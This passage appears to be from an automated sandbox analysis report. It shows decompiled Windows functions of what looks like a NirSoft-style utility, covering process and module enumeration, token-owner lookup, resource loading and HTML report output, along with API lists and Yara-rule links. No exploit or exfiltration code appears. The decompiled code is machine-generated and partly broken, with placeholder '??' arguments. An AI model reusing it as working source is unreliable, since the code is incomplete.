				 *0x40fb90 =  *0x40fb90 & 0x00000000;
				return _t38;
			}

0x00406466
0x0040647d
0x00406484
0x00406499
0x004064a0
0x004064af
0x004064b4
0x004064bb
0x004064cd
0x004064d2
0x004064d4
0x004064e4
0x004064ea
0x004064ea
0x004064f3
0x00406503
0x00406514
0x00406525
0x0040653b
0x0040654e
0x00406568
0x00406572
0x0040657a
0x00406582
0x0040658a
0x00406596

APIs

memset.MSVCRT ref: 00406484
memset.MSVCRT ref: 004064A0

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

Part of subcall function 0040B04D: GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
Part of subcall function 0040B04D: ??2@YAPAXI@Z.MSVCRT ref: 0040B07E
Part of subcall function 0040B04D: GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
Part of subcall function 0040B04D: _snwprintf.MSVCRT ref: 0040B0FE
Part of subcall function 0040B04D: wcscpy.MSVCRT ref: 0040B128

wcscpy.MSVCRT ref: 004064E4
wcscpy.MSVCRT ref: 004064F3
wcscpy.MSVCRT ref: 00406503
EnumResourceNamesW.KERNEL32(00406602,00000004,0040620E,00000000), ref: 00406568
EnumResourceNamesW.KERNEL32(00406602,00000005,0040620E,00000000), ref: 00406572
wcscpy.MSVCRT ref: 0040657A

Strings

RTL, xrefs: 00406549
general, xrefs: 004064F8
Version, xrefs: 00406536
SFM, xrefs: 00406502
TranslatorURL, xrefs: 00406520
strings, xrefs: 00406574
TranslatorName, xrefs: 0040650F

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$SFM$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-2314623505
Opcode ID: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction ID: e6de4c2f5101c47608bcafe23e33f00a3ad23f8f2b1db811bf874d9a9dfc23cd
Opcode Fuzzy Hash: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction Fuzzy Hash: ED21547294021875DB20B756DC4BECF3A6CEF44754F0105BBB508B21D2D7BC5A9489ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409A94, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00409A94(long _a4, intOrPtr _a8) {
				int _v8;
				int _v12;
				int _v16;
				void* _v20;
				void* _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				char _v60;
				void _v315;
				char _v316;
				void _v826;
				char _v828;
				void _v1338;
				char _v1340;
				void* __esi;
				void* _t61;
				_Unknown_base(*)()* _t93;
				void* _t94;
				int _t106;
				void* _t108;
				void* _t110;

				_v828 = 0;
				memset( &_v826, 0, 0x1fe);
				_v1340 = 0;
				memset( &_v1338, 0, 0x1fe);
				_t110 = _t108 + 0x18;
				_t61 = OpenProcess(0x400, 0, _a4);
				_t113 = _t61;
				_v20 = _t61;
				if(_t61 == 0) {
					L11:
					if(_v828 == 0) {
						__eflags = 0;
						return 0;
					}
					_push( &_v828);
					_push( &_v1340);
					_push(L"%s\\%s");
					_push(0xff);
					_push(_a8);
					L0040B1EC();
					return 1;
				}
				_v8 = 0;
				_v24 = 0;
				E00408F92( &_v8, _t113, _t61, 8,  &_v24);
				_t106 = _v24;
				if(_t106 == 0) {
					_t32 =  &_v20; // 0x4059ec
					E00409555( *_t32,  &_v36,  &_v44,  &_v52,  &_v60);
					_v316 = 0;
					memset( &_v315, 0, 0xfe);
					_t110 = _t110 + 0x20;
					_v16 = 0xff;
					__eflags = E00409A46(0x41c4b4, _a4,  &_v316,  &_v16, _v36, _v32);
					if(__eflags == 0) {
						L9:
						CloseHandle(_v20);
						if(_v8 != 0) {
							FreeLibrary(_v8);
						}
						goto L11;
					}
					_push( &_v28);
					_push( &_a4);
					_push( &_v1340);
					_push( &_v12);
					_push( &_v828);
					_a4 = 0xff;
					_push( &_v316);
					L8:
					_v12 = 0xff;
					E0040906D( &_v8, _t117);
					goto L9;
				}
				_v316 = 0;
				memset( &_v315, 0, 0xff);
				_v12 = _t106;
				_t110 = _t110 + 0xc;
				_a4 = 0;
				if(E00408F72( &_v8) == 0) {
					goto L9;
				}
				_t93 = GetProcAddress(_v8, "GetTokenInformation");
				if(_t93 == 0) {
					goto L9;
				}
				_t94 =  *_t93(_v12, 1,  &_v316, 0xff,  &_a4);
				_t117 = _t94;
				if(_t94 == 0) {
					goto L9;
				}
				_push( &_v28);
				_push( &_v12);
				_push( &_v1340);
				_push( &_v16);
				_push( &_v828);
				_push(_v316);
				_v16 = 0xff;
				goto L8;
			}

0x00409ab0
0x00409ab7
0x00409ac8
0x00409acf
0x00409ad4
0x00409ae0
0x00409ae6
0x00409ae8
0x00409af0
0x00409c3a
0x00409c41
0x00409c67
0x00000000
0x00409c67
0x00409c49
0x00409c50
0x00409c51
0x00409c56
0x00409c57
0x00409c5a
0x00000000
0x00409c64
0x00409b00
0x00409b03
0x00409b06
0x00409b0b
0x00409b10
0x00409ba9
0x00409bac
0x00409bc1
0x00409bc7
0x00409bcc
0x00409bd8
0x00409bf0
0x00409bf2
0x00409c23
0x00409c26
0x00409c2f
0x00409c34
0x00409c34
0x00000000
0x00409c2f
0x00409bf7
0x00409bfb
0x00409c02
0x00409c06
0x00409c0d
0x00409c14
0x00409c17
0x00409c18
0x00409c1b
0x00409c1e
0x00000000
0x00409c1e
0x00409b1f
0x00409b25
0x00409b2a
0x00409b2d
0x00409b33
0x00409b3d
0x00000000
0x00000000
0x00409b4b
0x00409b53
0x00000000
0x00000000
0x00409b6a
0x00409b6c
0x00409b6e
0x00000000
0x00000000
0x00409b77
0x00409b7b
0x00409b82
0x00409b86
0x00409b8d
0x00409b8e
0x00409b94
0x00000000

APIs

memset.MSVCRT ref: 00409AB7
memset.MSVCRT ref: 00409ACF
OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
_snwprintf.MSVCRT ref: 00409C5A

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

memset.MSVCRT ref: 00409B25
GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
memset.MSVCRT ref: 00409BC7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

Strings

%s\%s, xrefs: 00409C51
GetTokenInformation, xrefs: 00409B43
Y@, xrefs: 00409BA9

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$AddressProc$CloseFreeHandleLibraryOpenProcess_snwprintf
String ID: %s\%s$GetTokenInformation$Y@
API String ID: 3504373036-27875219
Opcode ID: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction ID: eda2fbc970d96949daa6443d9737cdff9b2c135ab99c7c98679ff10ae30762ca
Opcode Fuzzy Hash: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction Fuzzy Hash: E451C9B2C0021DBADB51EB95DC81DEFBBBDEB44344F1045BAB505B2191EA349F84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409172, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409172() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t5;

				if( *0x4101bc != 0) {
					return _t1;
				}
				_t2 = E00405436(L"psapi.dll");
				_t5 = _t2;
				if(_t5 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t5, "GetModuleBaseNameW");
					 *0x40f848 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t5, "EnumProcessModules");
						 *0x40f840 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t5, "GetModuleFileNameExW");
							 *0x40f838 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t5, "EnumProcesses");
								 *0x40fa6c = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t5, "GetModuleInformation");
									 *0x40f844 = _t2;
									if(_t2 != 0) {
										 *0x4101bc = 1;
									}
								}
							}
						}
					}
					if( *0x4101bc == 0) {
						_t2 = FreeLibrary(_t5);
					}
					goto L10;
				}
			}

0x00409179
0x00409209
0x00409209
0x00409185
0x0040918a
0x0040918f
0x00409208
0x00000000
0x00409191
0x0040919e
0x004091a2
0x004091a7
0x004091af
0x004091b3
0x004091b8
0x004091c0
0x004091c4
0x004091c9
0x004091d1
0x004091d5
0x004091da
0x004091e2
0x004091e6
0x004091eb
0x004091ed
0x004091ed
0x004091eb
0x004091da
0x004091c9
0x004091b8
0x004091ff
0x00409202
0x00409202
0x00000000
0x004091ff

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040919E
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004091AF
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 004091C0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004091D1
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 004091E2
FreeLibrary.KERNEL32(00000000), ref: 00409202

Strings

EnumProcessModules, xrefs: 004091A9
GetModuleFileNameExW, xrefs: 004091BA
GetModuleBaseNameW, xrefs: 00409198
EnumProcesses, xrefs: 004091CB
GetModuleInformation, xrefs: 004091DC
psapi.dll, xrefs: 00409180

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$Load$Freememsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1182944575-70141382
Opcode ID: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction ID: e8d56a808bd010e6a3fef0dff4ae07571f85a6d4972d2e5c8a67e4e39b9e152a
Opcode Fuzzy Hash: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction Fuzzy Hash: 33017175A41207BAD7205B656D88FB739E49B91B51B14413FE404F12D2DB7C88459F2C

Uniqueness

Uniqueness Score: -1.00%

Function 004090EE, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090EE() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x4101b8 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleW(L"kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x40f83c = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x40f834 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x40f830 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x40f5c4 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x40f828 = _t2;
								if(_t2 != 0) {
									 *0x4101b8 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}

0x004090f5
0x00409171
0x00409171
0x004090fd
0x00409103
0x00409107
0x00409170
0x00000000
0x00409170
0x00409116
0x0040911a
0x0040911f
0x00409127
0x0040912b
0x00409130
0x00409138
0x0040913c
0x00409141
0x00409149
0x0040914d
0x00409152
0x0040915a
0x0040915e
0x00409163
0x00409165
0x00409165
0x00409163
0x00409152
0x00409141
0x00409130
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00408C9F), ref: 004090FD
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00409116
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00409127
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00409138
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00409149
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040915A

Strings

Process32Next, xrefs: 00409154
Module32Next, xrefs: 00409132
Module32First, xrefs: 00409121
kernel32.dll, xrefs: 004090F8
Process32First, xrefs: 00409143
CreateToolhelp32Snapshot, xrefs: 00409110

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction ID: 22745fca4ee5753030f6263dae9a7fe791be1dfa5e14f8ddaef7bf0c79e2feda
Opcode Fuzzy Hash: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction Fuzzy Hash: D6F01D71F41313EAE761AB786E84F673AF85A85B44714403BA804F53D9EB7C8C46CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 00409F9C, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409F9C(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, long long* _a12, long long _a16) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void _v1538;
				char _v1540;
				void* _t39;
				intOrPtr* _t50;
				void* _t61;

				_t50 = __ecx;
				_push(0x1fe);
				_push(0);
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					_v1540 = 0;
					memset( &_v1538, ??, ??);
					_v1028 = 0;
					memset( &_v1026, 0, 0x1fe);
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					L0040B1EC();
					 *((long long*)(_t61 + 0x2c)) = _a16;
					L0040B1EC();
					_t39 =  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v1540,  &_v1028, 0xff,  &_v1028, 0xff,  &_v516,  &_v516, 0xff, L"%%0.%df", _a8);
					if (_t39 != 0) goto L3;
					return _t39;
				}
				_v516 = 0;
				memset( &_v514, ??, ??);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fe);
				L0040B1EC();
				 *((long long*)(_t61 + 0x20)) =  *_a12;
				L0040B1EC();
				return  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v516, 0x40c4e8, 0xff,  &_v516, 0xff,  &_v1028,  &_v1028, 0xff, L"%%0.%df", _a8);
			}

0x00409faf
0x00409fb4
0x00409fb5
0x00409fb6
0x0040a043
0x0040a04a
0x0040a058
0x0040a05f
0x0040a06d
0x0040a074
0x0040a08e
0x0040a099
0x0040a0ab
0x0040a0c9
0x0040a0ce
0x00000000
0x0040a0ce
0x00409fc3
0x00409fca
0x00409fd8
0x00409fdf
0x00409ff9
0x0040a006
0x0040a018
0x00000000

APIs

memset.MSVCRT ref: 00409FCA
memset.MSVCRT ref: 00409FDF
_snwprintf.MSVCRT ref: 00409FF9
_snwprintf.MSVCRT ref: 0040A018
memset.MSVCRT ref: 0040A04A
memset.MSVCRT ref: 0040A05F
memset.MSVCRT ref: 0040A074
_snwprintf.MSVCRT ref: 0040A08E
_snwprintf.MSVCRT ref: 0040A0AB

Strings

%%0.%df, xrefs: 00409FEC, 0040A081

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction ID: 9f87d91c1f60d09641f67b426c6f30a2a5dee33008317eed3759a4a42041cb36
Opcode Fuzzy Hash: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction Fuzzy Hash: 61315D72940129AADB20DF95CC89FEB777CEF49344F0004FAB509B6152D7349A94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040620E, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040620E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t27;
				short _t29;
				short _t40;
				void* _t41;
				struct HMENU__* _t43;
				short _t50;
				void* _t52;
				struct HMENU__* _t59;

				E0040B550(0x2008, __ecx);
				_t65 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t50 =  *0x40fe2c; // 0x0
						__eflags = _t50;
						if(_t50 == 0) {
							L8:
							_push(_a12);
							_t27 = 5;
							E00405E8D(_t27);
							_t29 = CreateDialogParamW(_a4, _a12, 0, E00406209, 0);
							__eflags = _t29;
							_a8 = _t29;
							if(_t29 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E00406209, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							__eflags = _v8204;
							if(__eflags != 0) {
								E00405FAC(__eflags, L"caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040614F, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t40 =  *_t50;
								__eflags = _t40;
								if(_t40 == 0) {
									goto L8;
								}
								__eflags = _t40 - _a12;
								if(_t40 != _a12) {
									_t50 = _t50 + 4;
									__eflags = _t50;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t41 = 4;
					E00405E8D(_t41);
					_pop(_t52);
					_t43 = LoadMenuW(_a4, _a12);
					 *0x40fe20 =  *0x40fe20 & 0x00000000;
					_t59 = _t43;
					_push(1);
					_push(_t59);
					_push(_a12);
					E0040605E(_t52, _t65);
					DestroyMenu(_t59);
				}
				L13:
				return 1;
			}

0x00406216
0x0040621b
0x00406222
0x0040625f
0x00406263
0x00406269
0x00406271
0x00406273
0x00406289
0x00406289
0x0040628e
0x0040628f
0x004062a9
0x004062ab
0x004062ad
0x004062b0
0x004062c3
0x004062c3
0x004062d3
0x004062da
0x004062f1
0x004062f7
0x004062fe
0x0040630d
0x00406312
0x0040631e
0x00406327
0x00406275
0x00406283
0x00406283
0x00406285
0x00406287
0x00000000
0x00000000
0x00406277
0x0040627a
0x00406280
0x00406280
0x00000000
0x00406280
0x00000000
0x0040627a
0x00000000
0x00406283
0x00406273
0x00406224
0x00406224
0x00406229
0x0040622a
0x0040622f
0x00406236
0x0040623c
0x00406243
0x00406245
0x00406247
0x00406248
0x0040624b
0x00406254
0x00406254
0x0040632d
0x00406334

APIs

LoadMenuW.USER32 ref: 00406236

Part of subcall function 0040605E: GetMenuItemCount.USER32(?), ref: 00406074
Part of subcall function 0040605E: memset.MSVCRT ref: 00406093
Part of subcall function 0040605E: GetMenuItemInfoW.USER32 ref: 004060CF
Part of subcall function 0040605E: wcschr.MSVCRT ref: 004060E7

DestroyMenu.USER32(00000000), ref: 00406254
CreateDialogParamW.USER32 ref: 004062A9
GetDesktopWindow.USER32 ref: 004062B4
CreateDialogParamW.USER32 ref: 004062C1
memset.MSVCRT ref: 004062DA
GetWindowTextW.USER32 ref: 004062F1
EnumChildWindows.USER32 ref: 0040631E
DestroyWindow.USER32(00000005), ref: 00406327

Part of subcall function 00405E8D: _snwprintf.MSVCRT ref: 00405EB2

Strings

caption, xrefs: 00406308

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
String ID: caption
API String ID: 973020956-4135340389
Opcode ID: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction ID: 5799234da4ec4704710f53c86087676007739614705d168b27d1301efcd7018e
Opcode Fuzzy Hash: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction Fuzzy Hash: D2316171900208FFEF11AF94DC859AF3B69FB04314F11847AF90AA51A1D7758964CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004081E4, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004081E4(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void _v2050;
				char _v2052;
				void _v4098;
				long _v4100;
				void _v6146;
				char _v6148;
				void* __esi;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t57;
				void* _t58;
				void* _t59;
				intOrPtr _t62;
				intOrPtr _t63;

				_t49 = __ecx;
				E0040B550(0x1800, __ecx);
				_t57 = _t49;
				E00407343(_t57, _a4, L"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\r\n");
				_v4100 = 0;
				memset( &_v4098, 0, 0x7fe);
				_v2052 = 0;
				memset( &_v2050, 0, 0x7fe);
				_v6148 = 0;
				memset( &_v6146, 0, 0x7fe);
				_t59 = _t58 + 0x24;
				_t62 =  *0x40fe30; // 0x0
				if(_t62 != 0) {
					_push(0x40fe30);
					_push(L"<meta http-equiv=\'content-type\' content=\'text/html;charset=%s\'>");
					_push(0x400);
					_push( &_v2052);
					L0040B1EC();
					_t59 = _t59 + 0x10;
				}
				_t63 =  *0x40fe28; // 0x0
				if(_t63 != 0) {
					wcscpy( &_v4100, L"<table dir=\"rtl\"><tr><td>\r\n");
				}
				E00407AFD(_t57, _t57, _a4,  *((intOrPtr*)( *_t57 + 0x20))(),  &_v2052,  &_v4100);
				_push( *((intOrPtr*)( *_t57 + 0x90))( *((intOrPtr*)( *_t57 + 0x8c))()));
				_push(L"<br><h4>%s <a href=\"http://www.nirsoft.net/\" target=\"newwin\">%s</a></h4><p>");
				_push(0x400);
				_push( &_v6148);
				L0040B1EC();
				_t43 = E00407343(_t57, _a4,  &_v6148);
				_t64 = _a8 - 5;
				if(_a8 == 5) {
					return E00407D03(_t57, _t64, _a4);
				}
				return _t43;
			}

0x004081e4
0x004081ec
0x004081fc
0x00408200
0x00408215
0x0040821c
0x0040822a
0x00408231
0x0040823f
0x00408246
0x0040824b
0x0040824e
0x0040825a
0x0040825c
0x00408261
0x0040826c
0x0040826d
0x0040826e
0x00408273
0x00408273
0x00408276
0x0040827c
0x0040828a
0x00408290
0x004082ab
0x004082c5
0x004082c6
0x004082d1
0x004082d2
0x004082d3
0x004082e7
0x004082ec
0x004082f0
0x00000000
0x004082f5
0x004082fe

APIs

memset.MSVCRT ref: 0040821C
memset.MSVCRT ref: 00408231
memset.MSVCRT ref: 00408246
_snwprintf.MSVCRT ref: 0040826E
wcscpy.MSVCRT ref: 0040828A
_snwprintf.MSVCRT ref: 004082D3

Strings

<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00408261
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004081F4
<table dir="rtl"><tr><td>, xrefs: 00408284
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004082C6

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$wcscpy
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
API String ID: 1283228442-2366825230
Opcode ID: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction ID: b93c0f476eae2b4120c079c2f39cbc6d180985b1aedf8bde3229837f55527c2f
Opcode Fuzzy Hash: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction Fuzzy Hash: 5C2157769001186ACB21AB95CC45FEE77BCFF48745F0440BEB549B3191DB389B848BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040920A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040920A(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E0040488D(__esi, L"\\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00404C08( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00404C08( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}

0x0040920a
0x00409218
0x00409223
0x0040922c
0x0040924b
0x00409253
0x0040929b
0x004092e4
0x0040929d
0x004092a3
0x004092b1
0x004092bd
0x004092cc
0x004092d1
0x004092d8
0x004092dd
0x00409255
0x0040925b
0x00409269
0x00409275
0x00409282
0x0040928d
0x00409292
0x004092ec
0x004092ef
0x004092ef
0x00409231
0x00409232
0x00409233
0x00000000
0x00409239
0x0040921a
0x00000000

APIs

wcschr.MSVCRT ref: 00409223
wcscpy.MSVCRT ref: 00409233

Part of subcall function 0040488D: wcslen.MSVCRT ref: 0040489C
Part of subcall function 0040488D: wcslen.MSVCRT ref: 004048A6
Part of subcall function 0040488D: _memicmp.MSVCRT ref: 004048C1

wcscpy.MSVCRT ref: 00409282
wcscat.MSVCRT ref: 0040928D
memset.MSVCRT ref: 00409269

